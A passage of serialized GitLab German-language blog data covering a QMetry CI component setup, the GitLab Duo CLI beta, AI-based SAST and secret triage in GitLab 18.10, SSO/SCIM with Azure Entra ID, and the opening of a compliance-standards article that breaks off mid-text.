`${QMETRY_API_KEY}` (aus CI/CD-Variablen) |\n\n## Vollständiges Pipeline-Beispiel\n```yaml\n    stages:\n      - test\n      - report\n\n    variables:\n      NODE_VERSION: \"18\"\n\n    unit-tests:\n      stage: test\n      image: node:${NODE_VERSION}\n      script:\n        - npm ci\n        - npm run test:unit -- --reporter=junit --reporter-options=output=results.xml\n      artifacts:\n        reports:\n          junit: results.xml\n        paths:\n          - results.xml\n        when: always\n      tags:\n        - docker\n\n    include:\n      - component: gitlab.com/sb9945614/qtm-gitlab-component/qmetry-import@1.0.5\n        inputs:\n          stage: test\n          project: \"Aerospace Flight Control System\"\n          file_name: \"results.xml\"\n          testing_type: \"JUNIT\"\n          instance_url: ${INSTANCE_URL}\n          api_key: ${QMETRY_API_KEY}\n```\n\n## Vollständige Konfigurationsreferenz\n| Eingabeparameter | Pflichtfeld | Standard | Beschreibung |\n| ----- | ----- | ----- | ----- |\n| `stage` | Nein | `test` | GitLab CI/CD-Stage für den Upload-Job |\n| `runner_tag` | Nein | `\"\"` | Spezifischer Runner-Tag (leer = beliebiger verfügbarer Runner) |\n| `project` | Ja | – | QMetry-Projektname oder -Schlüssel |\n| `file_name` | Ja | – | Pfad zur Testergebnisdatei (relativ zum Projektstamm) |\n| `testing_type` | Ja | – | Testergebnisformat: `JUNIT`, `TESTNG`, `NUNIT` usw. |\n| `skip_warning` | Nein | `\"1\"` | Warnungen beim Import überspringen (`\"1\"` = überspringen, `\"0\"` = anzeigen) |\n| `is_matching_required` | Nein | `\"false\"` | Bestehende Testfälle nach Name abgleichen (`\"true\"` oder `\"false\"`) |\n| `testsuite_name` | Nein | `\"\"` | Name für die Test-Suite in QMetry |\n| `testsuite_id` | Nein | `\"\"` | Bestehende Test-Suite-ID, an die Ergebnisse angehängt werden |\n| `testsuite_folder_path` | Nein | `\"\"` | Ordnerpfad für die Test-Suite-Organisation (z. B. `/Regression/Sprint-23`) |\n| `automation_hierarchy` | Nein | `\"\"` | Hierarchieebene für die Testorganisation (`\"1\"`, `\"2\"`, `\"3\"` usw.) |\n| `testcase_fields` | Nein | `\"\"` | Benutzerdefinierte Felder für Testfälle (kommagetrennt: `field1=value1,field2=value2`) |\n| `testsuite_fields` | Nein | `\"\"` | Benutzerdefinierte Felder für Test-Suites (kommagetrennt: `field1=value1,field2=value2`) |\n| `instance_url` | Ja | – | QMetry-Instanz-URL (in CI/CD-Variablen speichern) |\n| `api_key` | Ja | – | QMetry API-Key (in CI/CD-Variablen speichern, maskiert) |\n\n## Dokumentation und Support\n* **Komponentendokumentation**: [GitLab CI/CD Catalog](https://gitlab.com/explore/catalog)\n* **Komponenten-Repository**: [gitlab.com/sb9945614/qtm-gitlab-component](https://gitlab.com/sb9945614/qtm-gitlab-component)\n* **QMetry-Dokumentation**: [QMetry Support Portal](https://qmetrysupport.atlassian.net/wiki/spaces/QPro/overview)\n* **SmartBear-Ressourcen**: [SmartBear Academy](https://smartbear.com/resources/)\n* **GitLab CI/CD-Dokumentation**: [GitLab CI/CD Documentation](https://docs.gitlab.com/ee/ci/)\n* **QMetry-Support**: support@smartbear.com – [QMetry Community Forum](https://community.smartbear.com/)",{"featured":13,"template":796,"slug":1133},"streamline-test-management-with-the-smartbear-qmetry-gitlab-component",{"content":1135,"config":1142},{"title":1136,"description":1137,"authors":1138,"heroImage":1118,"date":1130,"body":1140,"category":746,"tags":1141},"GitLab Duo CLI: Agentenbasierte KI jetzt auch im Terminal","GitLab Duo CLI bringt agentenbasierte KI der Duo Agent Platform ins Terminal – mit interaktivem Chat-Modus und Headless-Modus für CI/CD-Automatisierung.",[1139],"John Coghlan","Wer Pipelines debuggt oder KI in automatisierte CI/CD-Workflows integriert, ohne dass jemand dabei zusieht, kommt mit bisherigen KI-Assistenten schnell an Grenzen: Diese konzentrieren sich auf Code-Erstellung und decken damit nur einen Teil des Software-Lebenszyklus ab. GitLab Duo CLI, jetzt in der öffentlichen Beta, schließt diese Lücke.\n\nGitLab Duo CLI bringt die agentenbasierte KI der [Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) ins Terminal – mit vollständiger Unterstützung für automatisierte Workflows und einem interaktiven Chat-Modus, wenn ein Mensch im Loop bleiben soll. Dieser Artikel beschreibt, was Duo CLI leistet, wie die beiden Betriebsmodi funktionieren und welches Sicherheitsmodell dahintersteht.\n\n## GitLab Duo CLI installieren\n\nWer GLab (die GitLab CLI) bereits installiert hat, führt folgenden Befehl aus:\n\n```\nglab duo cli\n```\n\nAnschließend einfach den Anweisungen folgen.\n\nOhne GLab: [Hier installieren](https://gitlab.com/gitlab-org/cli/#installation) oder [Duo CLI als eigenständiges Tool verwenden](https://docs.gitlab.com/user/gitlab_duo_cli/#without-the-gitlab-cli).\n\n## Warum das Terminal – und warum jetzt\n\nDie erste Generation von KI-Assistenten für die Softwareentwicklung war auf die IDE ausgerichtet und konzentrierte sich ausschließlich auf Code-Erstellung. Das war sinnvoll, solange Autovervollständigung im Vordergrund stand. Sobald KI-Agenten jedoch eigenständig handeln – Tests ausführen, Pipelines auslösen, Vulnerability-Scans überwachen und mehr – reicht die IDE als einzige Abstraktionsebene nicht mehr aus.\n\nDie besten Entwickler-Tools funktionieren sowohl für Menschen als auch für Maschinen. CLIs haben sich über Jahrzehnte in genau diese Richtung entwickelt. Sie sind komponierbar: Output lässt sich weiterleiten, Befehle verketten, Skripte einbetten. Sie sind nachvollziehbar: Wenn etwas schiefläuft, führt man denselben Befehl aus und sieht genau, was der Agent gesehen hat. Und sie sind transparent: keine Hintergrundprozesse, kein Initialisierungsaufwand, kein Protokoll, das beim Fehlerfall erst entschlüsselt werden muss.\n\nTerminal-Interfaces eignen sich besser für Automatisierung, Scripting und portable Umgebungen. IDE-Interfaces bieten sich für interaktive, kontextreiche Entwicklung an. GitLab Duo CLI ist für ersteres ausgelegt – Duo Agentic Chat in IDE und UI deckt letzteres ab.\n\n## Was GitLab Duo CLI kann\n\nMit GitLab Duo CLI lässt sich Code erstellen, anpassen, refaktorieren und modernisieren – vergleichbar mit anderen KI-gestützten Coding-Assistenten für das Terminal. Darüber hinaus sind alle Agenten und Flows der GitLab Duo Agent Platform über Duo CLI zugänglich: von der Automatisierung von CI/CD-Konfigurationen und Pipeline-Optimierungen bis hin zur autonomen Ausführung mehrstufiger Entwicklungsaufgaben über den gesamten Software-Lebenszyklus.\n\nGitLab Duo CLI läuft in zwei Modi:\n\n* **Interaktiver Modus** – eine editor-unabhängige Terminal-Chat-Umgebung mit menschlicher Freigabe vor jeder Aktion. Geeignet für das Verstehen von Codebase-Strukturen, das Erstellen von Code, die Fehlersuche oder das Troubleshooting von Pipelines.\n* **Headless-Modus** – nicht-interaktiv, ausgelegt für Runner, Skripte und automatisierte Workflows. Direkt in CI/CD einbinden, ohne manuelle Eingriffe.\n\n## KI mit Leitplanken\n\nAgentenbasierte KI, die eigenständig Aktionen ausführen kann, birgt reale Sicherheitsrisiken. GitLab Duo CLI adressiert diese auf Plattformebene – nicht nachträglich:\n\n* **Human-in-the-Loop standardmäßig** im interaktiven Modus: Keine Aktion wird ohne Freigabe ausgeführt.\n* **Prompt-Injection-Erkennung** ist in der GitLab Duo Agent Platform integriert, nicht nachgerüstet.\n* **Composite Identity** – eine kombinierte Identität, die sowohl den Nutzenden als auch den Agenten repräsentiert – begrenzt die Zugriffsrechte des Agenten und macht jede KI-gesteuerte Aktion nachvollziehbar.\n\nGitLab Duo CLI unterstützt darüber hinaus [benutzerdefinierte Instruktionsdateien](https://docs.gitlab.com/user/duo_agent_platform/customize/) – z. B. `chat-rules.md`, `AGENTS.md` und `SKILL.md` – die festlegen, welche Aufgaben, Ressourcen, Kontexte und Aktionen ein Agent ausführen darf. **Das ist das Prinzip der minimalen Rechtevergabe auf KI angewendet: Der Agent tut genau das, wozu er autorisiert wurde – und nichts darüber hinaus.**\n\nGitLab Duo CLI in Aktion:\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1179964611?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo CLI Beta Demo V1\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## GitLab Duo CLI ausprobieren\n\nDen Einstieg bietet ein [kostenloser Test der GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/).\n\nWer GitLab bereits im Free Tier nutzt, kann GitLab Duo Agent Platform durch [wenige einfache Schritte](https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom) aktivieren.\n\nBestehende GitLab-Premium- oder -Ultimate-Abonnenten können Duo CLI nutzen, indem sie [Duo Agent Platform aktivieren](https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/) – die benötigten GitLab Credits sind im jeweiligen Abonnement [bereits enthalten](https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits).\n",[806,746,788],{"featured":13,"template":796,"slug":1143},"gitlab-duo-cli",{"category":105,"slug":758,"posts":1145},[1146,1157,1169],{"content":1147,"config":1155},{"title":1148,"description":1149,"authors":1150,"heroImage":794,"date":1152,"body":1153,"category":758,"tags":1154},"GitLab 18.10 bringt KI-native Triage und Behebung","Erfahre mehr über die Funktionen von GitLab Duo Agent Platform, die Rauschen reduzieren, echte Schwachstellen identifizieren und Ergebnisse in Lösungsvorschläge umwandeln.",[1151],"Alisa Ho","2026-03-19","GitLab 18.10 führt neue KI-basierte Sicherheitsfunktionen ein, die auf die Verbesserung der Qualität und Geschwindigkeit des Schwachstellenmanagements ausgerichtet sind. Zusammen tragen diese Funktionen dazu bei, den Zeitaufwand für die Untersuchung von False Positives zu reduzieren und automatisierte Abhilfe direkt in den Workflow zu integrieren – so lassen sich Schwachstellen auch ohne tiefgreifende Sicherheitsexpertise beheben.\n\nDas ist neu:\n\n* [**Erkennung von False Positives bei statischen Anwendungssicherheitstests (SAST)**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **ist jetzt allgemein verfügbar.** Dieser Flow nutzt ein LLM für agentisches Reasoning, um die Wahrscheinlichkeit zu bestimmen, ob eine Schwachstelle ein False Positive ist oder nicht. So können sich Sicherheits- und Entwicklungsteams zuerst auf die Behebung kritischer Schwachstellen konzentrieren.\n* [**Agentische SAST-Schwachstellenbehebung**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **ist jetzt als Beta verfügbar.** Die agentische SAST-Schwachstellenbehebung erstellt automatisch einen Merge Request mit einem Lösungsvorschlag für verifizierte SAST-Schwachstellen. Das verkürzt die Zeit bis zur Behebung und reduziert den Bedarf an tiefgreifender Sicherheitsexpertise.\n* [**Erkennung von False Positives bei Geheimnissen**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **ist jetzt als Beta verfügbar.** Dieser Flow bringt die gleiche KI-basierte Rauschreduzierung in die Erkennung von Geheimnissen und kennzeichnet Dummy- und Test-Geheimnisse, um den Prüfaufwand zu verringern.\n\nDiese Flows stehen Kund(inn)en von GitLab Ultimate zur Verfügung, die GitLab Duo Agent Platform nutzen.\n\n## Triage-Zeit mit SAST-False-Positive-Erkennung verkürzen\n\nHerkömmliche SAST-Scanner kennzeichnen jedes verdächtige Codemuster, das sie finden – unabhängig davon, ob Codepfade erreichbar sind oder Frameworks das Risiko bereits abfangen. Ohne Laufzeitkontext können sie eine echte Schwachstelle nicht von sicherem Code unterscheiden, der lediglich gefährlich aussieht.\n\nDas bedeutet, dass Entwickler(innen) möglicherweise Stunden damit verbringen, Ergebnisse zu untersuchen, die sich als False Positives herausstellen. Mit der Zeit kann das das Vertrauen in den Bericht untergraben und die Teams verlangsamen, die für die Behebung echter Risiken verantwortlich sind.\n\nNach jedem SAST-Scan analysiert GitLab Duo Agent Platform automatisch neue kritische und hochgradig schwerwiegende Ergebnisse und fügt Folgendes hinzu:\n\n* Einen Konfidenzwert, der angibt, wie wahrscheinlich es ist, dass das Ergebnis ein False Positive ist\n* Eine KI-generierte Erklärung mit der Begründung\n* Ein visuelles Badge, das „Wahrscheinlich False Positive“ und „Wahrscheinlich echt“ in der UI leicht erkennbar macht\n\nDiese Ergebnisse erscheinen im [Sicherheitslückenbericht](https://docs.gitlab.com/user/application_security/vulnerability_report/), wie unten dargestellt. Der Bericht lässt sich filtern, um sich auf Ergebnisse zu konzentrieren, die als „Kein False Positive“ markiert sind. So können Teams ihre Zeit für die Behebung echter Schwachstellen nutzen, anstatt Rauschen zu sichten.\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nDie Bewertung von GitLab Duo Agent Platform ist eine Empfehlung. Die Kontrolle über jedes False Positive bleibt erhalten, und die Begründung des Agenten kann jederzeit überprüft werden, um Vertrauen in das Modell aufzubauen.\n\n\n## Schwachstellen in automatisierte Fixes umwandeln\n\nZu wissen, dass eine Schwachstelle echt ist, ist nur die halbe Arbeit. Die Behebung erfordert weiterhin das Verständnis des Codepfads, das Schreiben eines sicheren Patches und die Sicherstellung, dass nichts anderes beeinträchtigt wird.\n\nWenn die Schwachstelle durch den SAST-False-Positive-Erkennungsflow als wahrscheinlich kein False Positive identifiziert wird, führt der agentische SAST-Schwachstellenbehebungsflow automatisch folgende Schritte aus:\n\n1. Liest den anfälligen Code und den umgebenden Kontext aus dem Repository\n2. Generiert hochwertige Lösungsvorschläge\n3. Validiert die Fixes durch automatisierte Tests\n4. Öffnet einen Merge Request mit einem Lösungsvorschlag, der Folgendes enthält:\n   * Konkrete Codeänderungen\n   * Einen Konfidenzwert\n   * Eine Erklärung, was geändert wurde und warum\n\nIn dieser Demo siehst du, wie GitLab eine SAST-Schwachstelle automatisch vom Erkennen bis hin zu einem prüfbereiten Merge Request verarbeiten kann. Beobachte, wie der Agent den Code liest, einen Fix generiert und validiert und einen MR mit klaren, nachvollziehbaren Änderungen öffnet – damit Entwickler(innen) schneller beheben können, ohne Sicherheitsexpert(inn)en sein zu müssen.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nWie bei jedem KI-generierten Vorschlag sollte der vorgeschlagene Merge Request vor dem Zusammenführen sorgfältig geprüft werden.\n\n## Echte Geheimnisse identifizieren\n\nDie Erkennung von Geheimnissen ist nur dann nützlich, wenn Teams den Ergebnissen vertrauen. Wenn Berichte voller Test-Zugangsdaten, Platzhalterwerte und Beispiel-Token sind, verschwenden Entwickler(innen) möglicherweise Zeit mit der Überprüfung von Rauschen, anstatt echte Sicherheitslücken zu beheben. Das kann die Behebung verlangsamen und das Vertrauen in den Scan verringern.\n\nDie False-Positive-Erkennung bei Geheimnissen hilft Teams, sich auf die relevanten Geheimnisse zu konzentrieren und Risiken schneller zu reduzieren. Bei der Ausführung auf dem Standard-Branch werden automatisch folgende Schritte durchgeführt:\n\n1. Jedes Ergebnis wird analysiert, um wahrscheinliche Test-Zugangsdaten, Beispielwerte und Dummy-Geheimnisse zu identifizieren\n2. Ein Konfidenzwert wird zugewiesen, ob das Ergebnis ein echtes Risiko oder wahrscheinlich ein False Positive ist\n3. Eine Erklärung wird generiert, warum das Geheimnis als echt oder als Rauschen eingestuft wird\n4. Ein Badge wird im Sicherheitslückenbericht hinzugefügt, damit Entwickler(innen) den Status auf einen Blick erkennen können\n\nEntwickler(innen) können diese Analyse auch manuell über den Sicherheitslückenbericht auslösen, indem sie bei einem Ergebnis der Geheimniserkennung **„Auf False Positive prüfen“** auswählen. So lassen sich Ergebnisse ohne Risiko aussortieren und echte Geheimnisse schneller adressieren.\n\n## KI-basierte Sicherheit jetzt testen\n\nGitLab 18.10 führt Funktionen ein, die den gesamten Schwachstellen-Workflow abdecken – von der Reduzierung von False-Positive-Rauschen bei SAST und der Erkennung von Geheimnissen bis hin zur automatischen Generierung von Merge Requests mit Lösungsvorschlägen.\n\nUm zu erfahren, wie KI-basierte Sicherheit die Prüfzeit verkürzen und Ergebnisse in zusammenführbare Fixes umwandeln kann, [starte jetzt eine kostenlose Testversion von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/).",[746,758,788],{"featured":645,"template":796,"slug":1156},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"content":1158,"config":1167},{"title":1159,"description":1160,"authors":1161,"heroImage":1163,"date":918,"body":1164,"category":758,"tags":1165},"SSO und SCIM mit Azure Entra ID – Zentralisiertes Identity-Management","Single Sign-On und SCIM-Benutzerbereitstellung einrichten – SAML-Konfiguration für GitLab mit Azure Entra ID.",[1162],"Rob Jackson","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098047/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750098046895.jpg","Mit wachsender Unternehmensgröße wird es zunehmend schwierig und kritisch, sicherzustellen, dass die richtigen Teammitglieder Zugriff auf die richtigen Gruppen und Projekte haben. GitLab bietet leistungsstarke Methoden zur Zugriffsverwaltung, insbesondere mit [Custom Roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/). Die manuelle Verwaltung über eine Benutzeroberfläche kann jedoch bei großem Umfang frustrierend sein. Security Assertion Markup Language (SAML) und System for Cross-domain Identity Management (SCIM) bieten eine Lösung.\n\n\n## Was SSO und SCIM bieten\n\n\n**Single Sign-On (SSO) mit SAML** ermöglicht Benutzern, sich einmal bei einem zentralen Identity Provider – wie Azure Entra ID – zu authentifizieren und dann auf mehrere verbundene Anwendungen zuzugreifen, ohne erneute Anmeldung. **SCIM** automatisiert die Benutzerverwaltung: Wenn Benutzer im Identity Provider erstellt, Gruppen zugewiesen oder deaktiviert werden, synchronisiert SCIM diese Änderungen automatisch mit GitLab – einschließlich Berechtigungen basierend auf Gruppenmitgliedschaften.\n\n\n### Vorteile für Unternehmen\n\n\n**Sicherheit:** Zentralisierte Authentifizierung reduziert Passwort-Müdigkeit und Credential-Stuffing-Risiken. Multi-Faktor-Authentifizierung lässt sich auf Identity-Provider-Ebene erzwingen und gilt automatisch für alle verbundenen Anwendungen. Wenn ein Benutzer das Unternehmen verlässt, entfernt die Deaktivierung im Identity Provider sofort den Zugriff auf alle Systeme.\n\n\n**Effizienz:** Automatisierte Benutzerbereitstellung reduziert Onboarding-Zeit von Stunden auf Minuten. Gruppenmitgliedschaften in Azure Entra ID synchronisieren automatisch mit GitLab-Berechtigungen. Identitäten werden einmal im Identity Provider verwaltet und propagieren automatisch – kein manuelles Erstellen, Aktualisieren oder Löschen von Konten in jeder Anwendung erforderlich.\n\n\n## Implementierung\n\n\nDie Konfiguration von GitLab Single Sign-On mit SAML und SCIM erfordert:\n\n- Azure Entra ID Tenant mit Administrator-Zugriff\n- GitLab Premium oder Ultimate mit Top-Level-Gruppe\n- Konfiguration auf beiden Plattformen (Parameter-Austausch, Attribut-Mappings, SCIM-Token)\n\n\n**Vollständige Schritt-für-Schritt-Anleitung:**\n\n→ [How-to: GitLab Single Sign-on with SAML, SCIM and Azure's Entra ID](https://about.gitlab.com/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id/)\n\n\nDie englische Anleitung bietet:\n\n- 15 detaillierte UI-Screenshots für Azure Entra ID und GitLab\n- Vollständige Attribut-Mapping-Tabellen (SAML Claims, SCIM Provisioning)\n- Parameter-Austausch zwischen Plattformen (Identifier, Reply URL, Certificate, SCIM Token)\n- Fehlerbehebung für häufige Probleme (Email-Attribut-Fehler, NameID-Mismatch)\n\n\n**Kostenlose Testversionen:** [Azure Entra ID](https://azure.microsoft.com/de-de/free/) | [GitLab](https://about.gitlab.com/free-trial/devsecops/)\n\n\n## Weiterführende Informationen\n\n- [The ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/)\n- [SAML SSO for GitLab.com groups documentation](https://docs.gitlab.com/ee/user/group/saml_sso/)\n",[853,758,823,698,1166],"solutions architecture",{"slug":1168,"featured":645,"template":796},"how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"content":1170,"config":1176},{"authors":1171,"date":918,"title":1172,"description":1173,"category":758,"body":1174,"heroImage":1175},[927],"Compliance-Standards: Wie du sie identifizierst und einhältst","Was Compliance-Standards genau sind, welche zentralen Standards unvermeidbar sind und wie du Anforderungen direkt in GitLab abbildest.","In vielen Entwicklerteams steigt heute der Druck, schneller zu liefern, während gleichzeitig regulatorische Anforderungen immer weiter zunehmen. Spätestens bei Audits oder Sicherheitsvorfällen wird deutlich, dass ohne klare Regeln für Verantwortlichkeiten, Freigaben und Nachweise Reibungsverluste entstehen können. Compliance-Standards schaffen hier eine gemeinsame Grundlage, um Sicherheit, Datenschutz und Kontrolle konsistent in Entwicklungs- und Betriebsprozessen zu verankern.\n\nIn diesem Beitrag betrachten wir die wichtigsten Standards im IT-Umfeld und zeigen, wie Organisationen sie strukturieren und operationalisieren können. Außerdem zeigen wir dir, wie GitLab als integrierte DevSecOps-Plattform Standards nicht nur abbildet, sondern ihre Umsetzung aktiv unterstützt.\n\n## Was sind Compliance-Standards?\n\nCompliance-Standards sind verbindlich definierte Anforderungen, mit denen Organisationen oft international oder branchenweit sicherstellen, dass ihre Prozesse, Systeme und Datenverarbeitungspraktiken bestimmten Vorgaben entsprechen. Sie entstehen aus rechtlichen Rahmenwerken, regulatorischen Verpflichtungen oder Best-Practice-Katalogen und dienen als gemeinsame Leitlinie für Sicherheit, Datenschutz sowie Qualitäts- und Risikomanagement.\n\nIm IT- und Softwarebereich betreffen diese Standards typischerweise Bereiche wie Zugriffskontrollen, Änderungs- und Release-Prozesse, Protokollierungen, Fehlerbehebungen oder die fortlaufende Überwachung von Systemen.\n\nIn diesem Beitrag verwenden wir „Compliance‑Standards“ als Oberbegriff für Normen, Frameworks und gesetzliche bzw. regulatorische Vorgaben – also etwa ISO‑Standards, Branchenframeworks wie das NIST Cybersecurity Framework sowie Gesetze und Verordnungen wie DSGVO, NIS2 oder HIPAA.\n\n> Wie du dein gesamtes [Compliance-Management automatisieren](https://about.gitlab.com/de-de/blog/automated-compliance-management/) und Ressourcen einsparen kannst, erfährst du in diesem weiterführenden Beitrag mit vielen deutschen Videos!\n\n### Welchen Stellenwert haben Compliance-Standards?\n\nCompliance-Standards sind weit mehr als nur Checklisten. In erster Linie helfen sie, Risiken zu begrenzen und rechtliche bzw. finanzielle Konsequenzen bei Nichteinhaltung zu vermeiden. Zudem erzeugen sie Vertrauen durch eine nachweisbare Einhaltung und werden in vielen Unternehmen auch als Input für Controls, Policies und Prüfprozesse genutzt. Wichtig sind dabei vor allem folgende Ebenen:\n\n* **Gesetze und Verordnungen:** Compliance-Standards wie ISO/IEC 27001 werden oft herangezogen, um die Einhaltung von Gesetzen wie der DSGVO oder Finanzrechten zu strukturieren und nachweisbar zu machen.\n* **Frameworks:** Ausgearbeitete Leitliniensammlungen helfen dabei, Standards, Best Practices und Kontrollziele zu bündeln. Ein Framework kann mehrere Standards integrieren und in konkrete Maßnahmen überführen.\n* **Controls:** Technische oder organisatorische Maßnahmen machen schließlich einzelne Anforderungen eines Standards operationalisierbar und überprüfbar. Controls sind dafür die Umsetzungselemente im täglichen Betrieb.\n\nEine klare Definition von Compliance-Standards ist wichtig, weil Unternehmen sonst Gefahr laufen, Anforderungen fragmentiert, reaktiv oder getrennt von ihren operativen Prozessen umzusetzen. Solche Standards funktionieren nur, wenn sie nicht als isolierte Dokumente in Schubladen liegen, sondern in die täglichen Arbeitsabläufe und Verantwortlichkeiten eingebettet sind.\n\n## Warum Standards im Compliance-Management zentral sind\n\n[Compliance-Management](https://about.gitlab.com/de-de/blog/compliance-management/) soll sicherstellen, dass Anforderungen nicht nur definiert, sondern im Alltag auch eingehalten werden. Compliance-Standards sind dafür die zentrale Grundlage. Sie übersetzen rechtliche und regulatorische Vorgaben in klare Erwartungen, an denen sich Organisationen orientieren können. Ohne diesen gemeinsamen Referenzrahmen bleibt Compliance oft reaktiv und wird erst relevant, wenn Prüfungen oder Vorfälle auftreten.\n\nDie wichtigsten Aufgaben von Compliance-Standards sind daher:\n\n* **Stabilität:** In der Softwareentwicklung ändern sich Code, Infrastruktur und Prozesse laufend. Compliance-Standards schaffen hier Verlässlichkeit, weil sie unabhängig von einzelnen Projekten festlegen, welche Mindestanforderungen gelten.\n* **Risikobewertung:** Die Nichteinhaltung von Compliance-Standards kann zu Imageschäden, aber auch zu rechtlichen Sanktionen wie Geldstrafen führen. Eine Standardisierung erleichtert es, [Compliance-Risiken](https://about.gitlab.com/de-de/blog/compliance-risks/) einzuordnen und darauf aufbauend Verantwortlichkeiten festzulegen und konsistente Entscheidungen zu treffen.\n* **Skalierung:** Mit zunehmender Anzahl von Teams und Services lassen sich Compliance-Anforderungen häufig schwerer über Absprachen oder manuelle Kontrollen steuern. Klar definierte Standards machen Anforderungen wiederholbar, indem neue Projekte sich einfach daran orientieren können. So bleibt Compliance auch im Wachstum handhabbar.\n* **Nachvollziehbarkeit:** Compliance-Richtlinien definieren, welche Prozesse dokumentiert, welche Änderungen protokolliert und welche Freigaben nachvollziehbar sein müssen. Das ist nicht nur für Audits relevant, sondern sorgt intern auch für mehr Transparenz und ermöglicht kontinuierliche Verbesserungen.\n\nIhren größten Nutzen entfalten Compliance-Standards, wenn sie direkt in operative Abläufe eingebunden sind. Durch die Integration in Entwicklungs-, Sicherheits- und Deployment-Prozesse sinkt der Abstimmungsaufwand maßgeblich und die Einhaltung wird verlässlicher. Eine integrierte[ DevSecOps-Plattform wie GitLab ermöglicht benutzerdefinierte Compliance-Frameworks](https://about.gitlab.com/de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops/) und bindet die Standards somit als festen Bestandteil in tägliche Workflows ein.\n\n## Die wichtigsten IT-Compliance-Standards im Überblick\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773847401/aubulrjf0az8lmqjjt0g.png \"Was deutsche Compliance-Fachleute uns gesagt haben.\")\n\nWie eine [Studie von GitLab und The Harris Poll zur DevSecOps-Landschaft 2026](https://learn.gitlab.com/de-developer-survey/report-de-de-de-devsecops-report-practitioner) zeigt, gehören Compliance-Standards und deren Einhaltung für Unternehmen zu den größten Herausforderungen in der Softwareentwicklung. Die wichtigsten Standards im europäischen Raum sind dabei folgende:\n\n1. ISO/IEC 27001\n2. DSGVO\n3. NIST CSF\n4. SOC 2\n5. Branchenspezifische und sektorale Standards\n\n### 1. ISO/IEC 27001\n\nDie ISO/IEC 27001 ist eine international weitverbreitete Norm in der Informationstechnik. Als Norm ist sie zwar nicht gesetzlich verpflichtend, gilt allerdings als zentrale Referenz für IT-Compliance – insbesondere dann, wenn Organisationen Sicherheit, Datenschutz und Risikomanagement systematisch und auditierbar aufstellen müssen. Anders als gesetzliche Vorgaben beschreibt sie nicht nur Ziele, sondern auch klare Anforderungen an Prozesse, Verantwortlichkeiten und kontinuierliche Verbesserung.\n\nIm Mittelpunkt dieses Standards steht der Aufbau und Betrieb eines Informationssicherheits-Managementsystems (ISMS). Dieses umfasst unter anderem die systematische Bewertung von Risiken, die Definition von Sicherheitszielen sowie die Auswahl und Umsetzung geeigneter Maßnahmen. Der zugehörige Annex A liefert einen strukturierten Katalog von Controls, etwa für Zugriffskontrollen, Kryptografie, Change Management, Logging oder Lieferantenbeziehungen. Damit bietet ISO 27001 eine Brücke zwischen abstrakten Sicherheitszielen und konkreten organisatorischen und technischen Maßnahmen.\n\nFür Software- und Plattform-Teams ist ISO 27001 besonders relevant, weil viele Anforderungen direkt in Entwicklungs- und Betriebsprozesse hineinwirken. Sichere Code-Änderungen, nachvollziehbare Freigaben, Trennung von Zuständigkeiten oder die lückenlose Protokollierung sicherheitsrelevanter Ereignisse lassen sich nicht losgelöst von Toolchains und Workflows umsetzen. Die Norm verlangt zudem, dass diese Maßnahmen nicht nur definiert, sondern auch regelmäßig überprüft und angepasst werden. [ISO-27001-Compliance](https://about.gitlab.com/de-de/blog/how-gitlab-can-support-your-iso-compliance-journey/) ermöglicht es damit, unterschiedliche regulatorische Anforderungen wie die DSGVO oder branchenspezifische Vorgaben in ein konsistentes Managementsystem zu integrieren.\n\n> **8x schnellere Software-Updates & 40x schnellere Projekteinrichtung: Mit GitLabs Automatisierung revolutioniert Thales das Inflight-Entertainment**\n>\n> Erfahre, wie Thales Sicherheits- und Compliance-Standards in der Luftfahrt etabliert hat und mit GitLab Ultimate für deutlich schnellere und günstigere Builds sorgt.\n>\n> **[Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/thales/)**\n\n### 2. DSGVO\n\nDie Datenschutz-Grundverordnung ist eine verbindliche gesetzliche Grundlage für den Umgang mit personenbezogenen Daten in der Europäischen Union. Sie betrifft nahezu jede Organisation, die Daten von EU-Bürgern verarbeitet – unabhängig davon, ob es sich um ein Softwareunternehmen, einen internen IT-Dienstleister oder einen SaaS-Anbieter handelt. Damit ist die DSGVO einer der wichtigsten Treiber für Compliance-Management im europäischen IT-Umfeld.\n\nIm Gegensatz zu Normen wie ISO 27001 beschreibt die DSGVO vorwiegend Schutzziele und Prinzipien. Dazu gehören unter anderem Rechtmäßigkeit der 